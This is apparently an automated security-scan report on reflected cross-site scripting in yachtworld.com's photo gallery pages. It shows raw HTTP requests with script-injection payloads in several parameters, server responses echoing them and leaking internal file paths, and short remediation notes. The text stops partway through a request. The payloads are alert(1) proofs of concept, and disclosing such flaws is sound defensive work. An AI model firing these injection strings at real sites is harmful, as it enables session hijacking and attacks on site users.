GET /core/listing/photoGallery.jsp?slim=quick¤cy=USD&units=Feet981d1><script>alert(1)</script>ec21d48cf4f&seo=0&checked_boats=2266476&boat_id=2266476&back=/core/boats/2006/32-Regulator-With-Trailer-**reduced**-2266476/Destin/FL/United-States&boat_id=2266476 HTTP/1.1 Host: www.yachtworld.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=1.1296155952.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); s_sess=%20s_cc%3Dtrue%3B%20s_evar22%3D2%253A15PM%3B%20s_evar23%3DThursday%3B%20s_evar24%3DWeekday%3B%20ev4%3Dno%2520search%2520phrase%2520entered%3B%20ev5%3Dregulator%3B%20ev6%3Dused%3B%20ev7%3Dno%2520search%2520phrase%2520entered%3B%20ev8%3D24%2527-32%2527%3B%20ev9%3D%253E2004%3B%20ev10%3Dno%2520search%2520phrase%2520entered%3B%20ev11%3Dno%2520search%2520phrase%2520entered%3B%20ev12%3Dno%2520search%2520phrase%2520entered%3B%20ev13%3Dno%2520search%2520phrase%2520entered%3B%20ev14%3Dno%2520search%2520phrase%2520entered%3B%20ev15%3Dno%2520search%2520phrase%2520entered%3B%20ev16%3Dno%2520search%2520phrase%2520entered%3B%20ev17%3Dunited%2520states%3B%20ev18%3Dno%2520search%2520phrase%2520entered%3B%20s_sq%3D%3B; savedLabel0=24-32%20ft,regulator,Used,2004; yw_c_id=5778232892790151794; savedLabel1=24-32%20ft%2Cregulator%2C%09Used%2C2004%2C0%20US%20Dollars%2CUnited%20States; latestSavedSearches=1_0_; savedSearch1=cit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26searchtype%3Dadvancedsearch%26Ntk%3DboatsEN%26Ntt%3D%26is%3Dfalse%26man%3Dregulator%26hmid%3D0%26ftid%3D0%26enid%3D0%26fromLength%3D24%26toLength%3D32%26luom%3D126%26fromYear%3D2004%26toYear%3D%26fromPrice%3D0%26toPrice%3D%26currencyid%3D100%26city%3D%26rid%3D%26cint%3D100%26pbsint%3D%26boatsAddedSelected%3D-1; VIEWED_BOATS_STORE=2262662%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B119%2C000%5B%25%5DSomers+Point%2C+NJ%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F2%2F6%2F2262662_1_mini.jpg%3F1284487523000%5B%25%5D%2Fboats%2F2006%2FRegulator-32-Forward-Seating-2262662%2FSomers-Point%2FNJ%2FUnited-States%7B*%7D2237772%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B112%2C995%5B%25%5DParkton%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F3%2F7%2F7%2F2237772_17_mini.jpg%3F1280883217000%5B%25%5D%2Fboats%2F2005%2FRegulator-32-Forward-Seating-2237772%2FParkton%2FMD%2FUnited-States%7B*%7D2194614%5B%25%5D32%27+Regulator+32+CC+4+STROKE+250+YAMAHAS%5B%25%5DUSD%26nbsp%3B119%2C900%5B%25%5DOcean+City%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F1%2F9%2F4%2F6%2F2194614_18_mini.jpg%3F1280883629000%5B%25%5D%2Fboats%2F2007%2FRegulator-32-CC-4-STROKE-250-YAMAHAS-2194614%2FOcean-City%2FMD%2FUnited-States%7B*%7D2266476%5B%25%5D32%27+32+Regulator+WITH+TRAILER+**REDUCED**%5B%25%5DUSD%26nbsp%3B108%2C000%5B%25%5DDestin%2C+FL%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F6%2F4%2F2266476_1_mini.jpg%3F1285261228000%5B%25%5D%2Fboats%2F2006%2F32-Regulator-WITH-TRAILER-**REDUCED**-2266476%2FDestin%2FFL%2FUnited-States; savedSearch0=man%3Dregulator%26is%3Dfalse%26type%3D%26luom%3D126%26fromLength%3D24%26toLength%3D32%26fromYear%3D2004%26toYear%3D%26pricderange%3DSelect%2520Price%2520Range%26Ntt%3D%26fromPrice%3D0%26toPrice%3D%26searchtype%3Dhomepage%26cit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26Ntk%3DboatsEN%26currencyid%3D100; s_pers=%20s_nr%3D1296156328837%7C1298748328837%3B%20s_lv%3D1296156328839%7C1390764328839%3B%20s_lv_s%3DFirst%2520Visit%7C1296158128839%3B; s_vi=[CS]v1|26A0E25385162B05-600001A6003F61D3[CE]; yw_locale2=en_US; __utma=1.2048642607.1296155952.1296155952.1296155952.1; __utmc=1; __utmb=1.26.10.1296155952;
Response
HTTP/1.0 200 OK Date: Thu, 27 Jan 2011 20:34:22 GMT Server: Apache Cache-Control: private If-Modified-Since: Mon, 24 Jan 2011 21:44:50 GMT Vary: Accept-Encoding,User-Agent P3P: policyref="/w3c/p3p.xml", CP="CAO DSP COR CURa ADMa DEVa TAIa PSDa CONi OUR BUS IND ONL UNI PUR FIN COM NAV INT STA PRE LOC" Connection: close Content-Type: text/html; charset=utf-8
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
The value of the boat_id request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload cc2a1'%3balert(1)//48fa37107c6 was submitted in the boat_id parameter. This input was echoed as cc2a1';alert(1)//48fa37107c6 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /core/listing/photo_gallery.jsp?slim=broker&lang=en&ywo=starlingmarine&hosturl=starlingmarine&units=Feet&id=2047906&back=/core/listing/pl_boat_detail.jsp&boat_id=2047906cc2a1'%3balert(1)//48fa37107c6 HTTP/1.1 Host: www.yachtworld.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=1.1296155952.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); s_sess=%20s_cc%3Dtrue%3B%20s_evar22%3D2%253A15PM%3B%20s_evar23%3DThursday%3B%20s_evar24%3DWeekday%3B%20ev4%3Dno%2520search%2520phrase%2520entered%3B%20ev5%3Dregulator%3B%20ev6%3Dused%3B%20ev7%3Dno%2520search%2520phrase%2520entered%3B%20ev8%3D24%2527-32%2527%3B%20ev9%3D%253E2004%3B%20ev10%3Dno%2520search%2520phrase%2520entered%3B%20ev11%3Dno%2520search%2520phrase%2520entered%3B%20ev12%3Dno%2520search%2520phrase%2520entered%3B%20ev13%3Dno%2520search%2520phrase%2520entered%3B%20ev14%3Dno%2520search%2520phrase%2520entered%3B%20ev15%3Dno%2520search%2520phrase%2520entered%3B%20ev16%3Dno%2520search%2520phrase%2520entered%3B%20ev17%3Dunited%2520states%3B%20ev18%3Dno%2520search%2520phrase%2520entered%3B%20s_sq%3D%3B; savedLabel0=24-32%20ft,regulator,Used,2004; yw_c_id=5778232892790151794; savedLabel1=24-32%20ft%2Cregulator%2C%09Used%2C2004%2C0%20US%20Dollars%2CUnited%20States; latestSavedSearches=1_0_; savedSearch1=cit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26searchtype%3Dadvancedsearch%26Ntk%3DboatsEN%26Ntt%3D%26is%3Dfalse%26man%3Dregulator%26hmid%3D0%26ftid%3D0%26enid%3D0%26fromLength%3D24%26toLength%3D32%26luom%3D126%26fromYear%3D2004%26toYear%3D%26fromPrice%3D0%26toPrice%3D%26currencyid%3D100%26city%3D%26rid%3D%26cint%3D100%26pbsint%3D%26boatsAddedSelected%3D-1; VIEWED_BOATS_STORE=2262662%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B119%2C000%5B%25%5DSomers+Point%2C+NJ%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F2%2F6%2F2262662_1_mini.jpg%3F1284487523000%5B%25%5D%2Fboats%2F2006%2FRegulator-32-Forward-Seating-2262662%2FSomers-Point%2FNJ%2FUnited-States%7B*%7D2237772%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B112%2C995%5B%25%5DParkton%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F3%2F7%2F7%2F2237772_17_mini.jpg%3F1280883217000%5B%25%5D%2Fboats%2F2005%2FRegulator-32-Forward-Seating-2237772%2FParkton%2FMD%2FUnited-States%7B*%7D2194614%5B%25%5D32%27+Regulator+32+CC+4+STROKE+250+YAMAHAS%5B%25%5DUSD%26nbsp%3B119%2C900%5B%25%5DOcean+City%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F1%2F9%2F4%2F6%2F2194614_18_mini.jpg%3F1280883629000%5B%25%5D%2Fboats%2F2007%2FRegulator-32-CC-4-STROKE-250-YAMAHAS-2194614%2FOcean-City%2FMD%2FUnited-States%7B*%7D2266476%5B%25%5D32%27+32+Regulator+WITH+TRAILER+**REDUCED**%5B%25%5DUSD%26nbsp%3B108%2C000%5B%25%5DDestin%2C+FL%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F6%2F4%2F2266476_1_mini.jpg%3F1285261228000%5B%25%5D%2Fboats%2F2006%2F32-Regulator-WITH-TRAILER-**REDUCED**-2266476%2FDestin%2FFL%2FUnited-States; savedSearch0=man%3Dregulator%26is%3Dfalse%26type%3D%26luom%3D126%26fromLength%3D24%26toLength%3D32%26fromYear%3D2004%26toYear%3D%26pricderange%3DSelect%2520Price%2520Range%26Ntt%3D%26fromPrice%3D0%26toPrice%3D%26searchtype%3Dhomepage%26cit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26Ntk%3DboatsEN%26currencyid%3D100; s_pers=%20s_nr%3D1296156328837%7C1298748328837%3B%20s_lv%3D1296156328839%7C1390764328839%3B%20s_lv_s%3DFirst%2520Visit%7C1296158128839%3B; s_vi=[CS]v1|26A0E25385162B05-600001A6003F61D3[CE]; yw_locale2=en_US; __utma=1.2048642607.1296155952.1296155952.1296155952.1; __utmc=1; __utmb=1.26.10.1296155952;
Response
HTTP/1.0 500 Internal Server Error Date: Thu, 27 Jan 2011 20:31:52 GMT Server: Apache Cache-Control: private Vary: Accept-Encoding,User-Agent P3P: policyref="/w3c/p3p.xml", CP="CAO DSP COR CURa ADMa DEVa TAIa PSDa CONi OUR BUS IND ONL UNI PUR FIN COM NAV INT STA PRE LOC" Connection: close Content-Type: text/html; charset=ISO-8859-1
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html lang="en-US"> <head>
...[SNIP]... <br>'+ 'ExceptionMessage: For input string: "2047906cc2a1';alert(1)//48fa37107c6"<br> ...[SNIP]...
The value of the hosturl request parameter is copied into the value of an HTML tag attribute which is not encapsulated in any quotation marks. The payload efbca><script>alert(1)</script>29e0ea4a2dd was submitted in the hosturl parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /core/listing/photo_gallery.jsp?slim=broker&lang=en&ywo=starlingmarine&hosturl=starlingmarineefbca><script>alert(1)</script>29e0ea4a2dd&units=Feet&id=2047906&back=/core/listing/pl_boat_detail.jsp&boat_id=2047906 HTTP/1.1 Host: www.yachtworld.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=1.1296155952.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); s_sess=%20s_cc%3Dtrue%3B%20s_evar22%3D2%253A15PM%3B%20s_evar23%3DThursday%3B%20s_evar24%3DWeekday%3B%20ev4%3Dno%2520search%2520phrase%2520entered%3B%20ev5%3Dregulator%3B%20ev6%3Dused%3B%20ev7%3Dno%2520search%2520phrase%2520entered%3B%20ev8%3D24%2527-32%2527%3B%20ev9%3D%253E2004%3B%20ev10%3Dno%2520search%2520phrase%2520entered%3B%20ev11%3Dno%2520search%2520phrase%2520entered%3B%20ev12%3Dno%2520search%2520phrase%2520entered%3B%20ev13%3Dno%2520search%2520phrase%2520entered%3B%20ev14%3Dno%2520search%2520phrase%2520entered%3B%20ev15%3Dno%2520search%2520phrase%2520entered%3B%20ev16%3Dno%2520search%2520phrase%2520entered%3B%20ev17%3Dunited%2520states%3B%20ev18%3Dno%2520search%2520phrase%2520entered%3B%20s_sq%3D%3B; savedLabel0=24-32%20ft,regulator,Used,2004; yw_c_id=5778232892790151794; savedLabel1=24-32%20ft%2Cregulator%2C%09Used%2C2004%2C0%20US%20Dollars%2CUnited%20States; latestSavedSearches=1_0_; savedSearch1=cit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26searchtype%3Dadvancedsearch%26Ntk%3DboatsEN%26Ntt%3D%26is%3Dfalse%26man%3Dregulator%26hmid%3D0%26ftid%3D0%26enid%3D0%26fromLength%3D24%26toLength%3D32%26luom%3D126%26fromYear%3D2004%26toYear%3D%26fromPrice%3D0%26toPrice%3D%26currencyid%3D100%26city%3D%26rid%3D%26cint%3D100%26pbsint%3D%26boatsAddedSelected%3D-1; VIEWED_BOATS_STORE=2262662%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B119%2C000%5B%25%5DSomers+Point%2C+NJ%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F2%2F6%2F2262662_1_mini.jpg%3F1284487523000%5B%25%5D%2Fboats%2F2006%2FRegulator-32-Forward-Seating-2262662%2FSomers-Point%2FNJ%2FUnited-States%7B*%7D2237772%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B112%2C995%5B%25%5DParkton%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F3%2F7%2F7%2F2237772_17_mini.jpg%3F1280883217000%5B%25%5D%2Fboats%2F2005%2FRegulator-32-Forward-Seating-2237772%2FParkton%2FMD%2FUnited-States%7B*%7D2194614%5B%25%5D32%27+Regulator+32+CC+4+STROKE+250+YAMAHAS%5B%25%5DUSD%26nbsp%3B119%2C900%5B%25%5DOcean+City%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F1%2F9%2F4%2F6%2F2194614_18_mini.jpg%3F1280883629000%5B%25%5D%2Fboats%2F2007%2FRegulator-32-CC-4-STROKE-250-YAMAHAS-2194614%2FOcean-City%2FMD%2FUnited-States%7B*%7D2266476%5B%25%5D32%27+32+Regulator+WITH+TRAILER+**REDUCED**%5B%25%5DUSD%26nbsp%3B108%2C000%5B%25%5DDestin%2C+FL%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F6%2F4%2F2266476_1_mini.jpg%3F1285261228000%5B%25%5D%2Fboats%2F2006%2F32-Regulator-WITH-TRAILER-**REDUCED**-2266476%2FDestin%2FFL%2FUnited-States; savedSearch0=man%3Dregulator%26is%3Dfalse%26type%3D%26luom%3D126%26fromLength%3D24%26toLength%3D32%26fromYear%3D2004%26toYear%3D%26pricderange%3DSelect%2520Price%2520Range%26Ntt%3D%26fromPrice%3D0%26toPrice%3D%26searchtype%3Dhomepage%26cit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26Ntk%3DboatsEN%26currencyid%3D100; s_pers=%20s_nr%3D1296156328837%7C1298748328837%3B%20s_lv%3D1296156328839%7C1390764328839%3B%20s_lv_s%3DFirst%2520Visit%7C1296158128839%3B; s_vi=[CS]v1|26A0E25385162B05-600001A6003F61D3[CE]; yw_locale2=en_US; __utma=1.2048642607.1296155952.1296155952.1296155952.1; __utmc=1; __utmb=1.26.10.1296155952;
Response
HTTP/1.0 200 OK Date: Thu, 27 Jan 2011 20:31:01 GMT Server: Apache Cache-Control: private Content-Length: 5985 Vary: Accept-Encoding,User-Agent P3P: policyref="/w3c/p3p.xml", CP="CAO DSP COR CURa ADMa DEVa TAIa PSDa CONi OUR BUS IND ONL UNI PUR FIN COM NAV INT STA PRE LOC" Connection: close Content-Type: text/html; charset=utf-8
The value of the hosturl request parameter is copied into an HTML comment. The payload 42f89--><script>alert(1)</script>33f60853b38 was submitted in the hosturl parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within HTML comment tags does not prevent XSS attacks if the user is able to close the comment or use other techniques to introduce scripts within the comment context.
Request
GET /core/listing/photo_gallery.jsp?slim=broker&lang=en&ywo=starlingmarine&hosturl=starlingmarine42f89--><script>alert(1)</script>33f60853b38&units=Feet&id=2047906&back=/core/listing/pl_boat_detail.jsp&boat_id=2047906 HTTP/1.1 Host: www.yachtworld.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=1.1296155952.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); s_sess=%20s_cc%3Dtrue%3B%20s_evar22%3D2%253A15PM%3B%20s_evar23%3DThursday%3B%20s_evar24%3DWeekday%3B%20ev4%3Dno%2520search%2520phrase%2520entered%3B%20ev5%3Dregulator%3B%20ev6%3Dused%3B%20ev7%3Dno%2520search%2520phrase%2520entered%3B%20ev8%3D24%2527-32%2527%3B%20ev9%3D%253E2004%3B%20ev10%3Dno%2520search%2520phrase%2520entered%3B%20ev11%3Dno%2520search%2520phrase%2520entered%3B%20ev12%3Dno%2520search%2520phrase%2520entered%3B%20ev13%3Dno%2520search%2520phrase%2520entered%3B%20ev14%3Dno%2520search%2520phrase%2520entered%3B%20ev15%3Dno%2520search%2520phrase%2520entered%3B%20ev16%3Dno%2520search%2520phrase%2520entered%3B%20ev17%3Dunited%2520states%3B%20ev18%3Dno%2520search%2520phrase%2520entered%3B%20s_sq%3D%3B; savedLabel0=24-32%20ft,regulator,Used,2004; yw_c_id=5778232892790151794; savedLabel1=24-32%20ft%2Cregulator%2C%09Used%2C2004%2C0%20US%20Dollars%2CUnited%20States; latestSavedSearches=1_0_; savedSearch1=cit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26searchtype%3Dadvancedsearch%26Ntk%3DboatsEN%26Ntt%3D%26is%3Dfalse%26man%3Dregulator%26hmid%3D0%26ftid%3D0%26enid%3D0%26fromLength%3D24%26toLength%3D32%26luom%3D126%26fromYear%3D2004%26toYear%3D%26fromPrice%3D0%26toPrice%3D%26currencyid%3D100%26city%3D%26rid%3D%26cint%3D100%26pbsint%3D%26boatsAddedSelected%3D-1; VIEWED_BOATS_STORE=2262662%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B119%2C000%5B%25%5DSomers+Point%2C+NJ%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F2%2F6%2F2262662_1_mini.jpg%3F1284487523000%5B%25%5D%2Fboats%2F2006%2FRegulator-32-Forward-Seating-2262662%2FSomers-Point%2FNJ%2FUnited-States%7B*%7D2237772%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B112%2C995%5B%25%5DParkton%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F3%2F7%2F7%2F2237772_17_mini.jpg%3F1280883217000%5B%25%5D%2Fboats%2F2005%2FRegulator-32-Forward-Seating-2237772%2FParkton%2FMD%2FUnited-States%7B*%7D2194614%5B%25%5D32%27+Regulator+32+CC+4+STROKE+250+YAMAHAS%5B%25%5DUSD%26nbsp%3B119%2C900%5B%25%5DOcean+City%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F1%2F9%2F4%2F6%2F2194614_18_mini.jpg%3F1280883629000%5B%25%5D%2Fboats%2F2007%2FRegulator-32-CC-4-STROKE-250-YAMAHAS-2194614%2FOcean-City%2FMD%2FUnited-States%7B*%7D2266476%5B%25%5D32%27+32+Regulator+WITH+TRAILER+**REDUCED**%5B%25%5DUSD%26nbsp%3B108%2C000%5B%25%5DDestin%2C+FL%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F6%2F4%2F2266476_1_mini.jpg%3F1285261228000%5B%25%5D%2Fboats%2F2006%2F32-Regulator-WITH-TRAILER-**REDUCED**-2266476%2FDestin%2FFL%2FUnited-States; savedSearch0=man%3Dregulator%26is%3Dfalse%26type%3D%26luom%3D126%26fromLength%3D24%26toLength%3D32%26fromYear%3D2004%26toYear%3D%26pricderange%3DSelect%2520Price%2520Range%26Ntt%3D%26fromPrice%3D0%26toPrice%3D%26searchtype%3Dhomepage%26cit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26Ntk%3DboatsEN%26currencyid%3D100; s_pers=%20s_nr%3D1296156328837%7C1298748328837%3B%20s_lv%3D1296156328839%7C1390764328839%3B%20s_lv_s%3DFirst%2520Visit%7C1296158128839%3B; s_vi=[CS]v1|26A0E25385162B05-600001A6003F61D3[CE]; yw_locale2=en_US; __utma=1.2048642607.1296155952.1296155952.1296155952.1; __utmc=1; __utmb=1.26.10.1296155952;
Response
HTTP/1.0 200 OK Date: Thu, 27 Jan 2011 20:31:14 GMT Server: Apache Cache-Control: private Content-Length: 5995 Vary: Accept-Encoding,User-Agent P3P: policyref="/w3c/p3p.xml", CP="CAO DSP COR CURa ADMa DEVa TAIa PSDa CONi OUR BUS IND ONL UNI PUR FIN COM NAV INT STA PRE LOC" Connection: close Content-Type: text/html; charset=utf-8
The value of the hosturl request parameter is copied into the HTML document as plain text between tags. The payload f9bce<script>alert(1)</script>8e02e871271 was submitted in the hosturl parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /core/listing/photo_gallery.jsp?slim=broker&lang=en&ywo=starlingmarine&hosturl=starlingmarinef9bce<script>alert(1)</script>8e02e871271&units=Feet&id=2047906&back=/core/listing/pl_boat_detail.jsp&boat_id=2047906 HTTP/1.1 Host: www.yachtworld.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=1.1296155952.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); s_sess=%20s_cc%3Dtrue%3B%20s_evar22%3D2%253A15PM%3B%20s_evar23%3DThursday%3B%20s_evar24%3DWeekday%3B%20ev4%3Dno%2520search%2520phrase%2520entered%3B%20ev5%3Dregulator%3B%20ev6%3Dused%3B%20ev7%3Dno%2520search%2520phrase%2520entered%3B%20ev8%3D24%2527-32%2527%3B%20ev9%3D%253E2004%3B%20ev10%3Dno%2520search%2520phrase%2520entered%3B%20ev11%3Dno%2520search%2520phrase%2520entered%3B%20ev12%3Dno%2520search%2520phrase%2520entered%3B%20ev13%3Dno%2520search%2520phrase%2520entered%3B%20ev14%3Dno%2520search%2520phrase%2520entered%3B%20ev15%3Dno%2520search%2520phrase%2520entered%3B%20ev16%3Dno%2520search%2520phrase%2520entered%3B%20ev17%3Dunited%2520states%3B%20ev18%3Dno%2520search%2520phrase%2520entered%3B%20s_sq%3D%3B; savedLabel0=24-32%20ft,regulator,Used,2004; yw_c_id=5778232892790151794; savedLabel1=24-32%20ft%2Cregulator%2C%09Used%2C2004%2C0%20US%20Dollars%2CUnited%20States; latestSavedSearches=1_0_; savedSearch1=cit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26searchtype%3Dadvancedsearch%26Ntk%3DboatsEN%26Ntt%3D%26is%3Dfalse%26man%3Dregulator%26hmid%3D0%26ftid%3D0%26enid%3D0%26fromLength%3D24%26toLength%3D32%26luom%3D126%26fromYear%3D2004%26toYear%3D%26fromPrice%3D0%26toPrice%3D%26currencyid%3D100%26city%3D%26rid%3D%26cint%3D100%26pbsint%3D%26boatsAddedSelected%3D-1; VIEWED_BOATS_STORE=2262662%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B119%2C000%5B%25%5DSomers+Point%2C+NJ%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F2%2F6%2F2262662_1_mini.jpg%3F1284487523000%5B%25%5D%2Fboats%2F2006%2FRegulator-32-Forward-Seating-2262662%2FSomers-Point%2FNJ%2FUnited-States%7B*%7D2237772%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B112%2C995%5B%25%5DParkton%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F3%2F7%2F7%2F2237772_17_mini.jpg%3F1280883217000%5B%25%5D%2Fboats%2F2005%2FRegulator-32-Forward-Seating-2237772%2FParkton%2FMD%2FUnited-States%7B*%7D2194614%5B%25%5D32%27+Regulator+32+CC+4+STROKE+250+YAMAHAS%5B%25%5DUSD%26nbsp%3B119%2C900%5B%25%5DOcean+City%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F1%2F9%2F4%2F6%2F2194614_18_mini.jpg%3F1280883629000%5B%25%5D%2Fboats%2F2007%2FRegulator-32-CC-4-STROKE-250-YAMAHAS-2194614%2FOcean-City%2FMD%2FUnited-States%7B*%7D2266476%5B%25%5D32%27+32+Regulator+WITH+TRAILER+**REDUCED**%5B%25%5DUSD%26nbsp%3B108%2C000%5B%25%5DDestin%2C+FL%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F6%2F4%2F2266476_1_mini.jpg%3F1285261228000%5B%25%5D%2Fboats%2F2006%2F32-Regulator-WITH-TRAILER-**REDUCED**-2266476%2FDestin%2FFL%2FUnited-States; savedSearch0=man%3Dregulator%26is%3Dfalse%26type%3D%26luom%3D126%26fromLength%3D24%26toLength%3D32%26fromYear%3D2004%26toYear%3D%26pricderange%3DSelect%2520Price%2520Range%26Ntt%3D%26fromPrice%3D0%26toPrice%3D%26searchtype%3Dhomepage%26cit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26Ntk%3DboatsEN%26currencyid%3D100; s_pers=%20s_nr%3D1296156328837%7C1298748328837%3B%20s_lv%3D1296156328839%7C1390764328839%3B%20s_lv_s%3DFirst%2520Visit%7C1296158128839%3B; s_vi=[CS]v1|26A0E25385162B05-600001A6003F61D3[CE]; yw_locale2=en_US; __utma=1.2048642607.1296155952.1296155952.1296155952.1; __utmc=1; __utmb=1.26.10.1296155952;
Response
HTTP/1.0 200 OK Date: Thu, 27 Jan 2011 20:31:07 GMT Server: Apache Cache-Control: private Content-Length: 5980 Vary: Accept-Encoding,User-Agent P3P: policyref="/w3c/p3p.xml", CP="CAO DSP COR CURa ADMa DEVa TAIa PSDa CONi OUR BUS IND ONL UNI PUR FIN COM NAV INT STA PRE LOC" Connection: close Content-Type: text/html; charset=utf-8
<!-- /opt/weblogic/waeyw/ywcluster/public_html/broker_pages/starlingmarinef9bce<script>alert(1)</script>8e02e871271/boats.header.html:/opt/weblogic/waeyw/ ...[SNIP]... </script>8e02e871271/boats.footer.html:--> Exception while reading the file:/opt/weblogic/waeyw/ywcluster/public_html/broker_pages/starlingmarinef9bce<script>alert(1)</script>8e02e871271/boats.header.html exception is java.io.FileNotFoundException: /opt/weblogic/waeyw/ywcluster/public_html/broker_pages/starlingmarinef9bce<script> ...[SNIP]...
The value of the slim request parameter is copied into the value of an HTML tag attribute which is not encapsulated in any quotation marks. The payload 51c92><script>alert(1)</script>52a8f864566 was submitted in the slim parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /core/listing/photo_gallery.jsp?slim=broker51c92><script>alert(1)</script>52a8f864566&lang=en&ywo=starlingmarine&hosturl=starlingmarine&units=Feet&id=2047906&back=/core/listing/pl_boat_detail.jsp&boat_id=2047906 HTTP/1.1 Host: www.yachtworld.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=1.1296155952.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); s_sess=%20s_cc%3Dtrue%3B%20s_evar22%3D2%253A15PM%3B%20s_evar23%3DThursday%3B%20s_evar24%3DWeekday%3B%20ev4%3Dno%2520search%2520phrase%2520entered%3B%20ev5%3Dregulator%3B%20ev6%3Dused%3B%20ev7%3Dno%2520search%2520phrase%2520entered%3B%20ev8%3D24%2527-32%2527%3B%20ev9%3D%253E2004%3B%20ev10%3Dno%2520search%2520phrase%2520entered%3B%20ev11%3Dno%2520search%2520phrase%2520entered%3B%20ev12%3Dno%2520search%2520phrase%2520entered%3B%20ev13%3Dno%2520search%2520phrase%2520entered%3B%20ev14%3Dno%2520search%2520phrase%2520entered%3B%20ev15%3Dno%2520search%2520phrase%2520entered%3B%20ev16%3Dno%2520search%2520phrase%2520entered%3B%20ev17%3Dunited%2520states%3B%20ev18%3Dno%2520search%2520phrase%2520entered%3B%20s_sq%3D%3B; savedLabel0=24-32%20ft,regulator,Used,2004; yw_c_id=5778232892790151794; 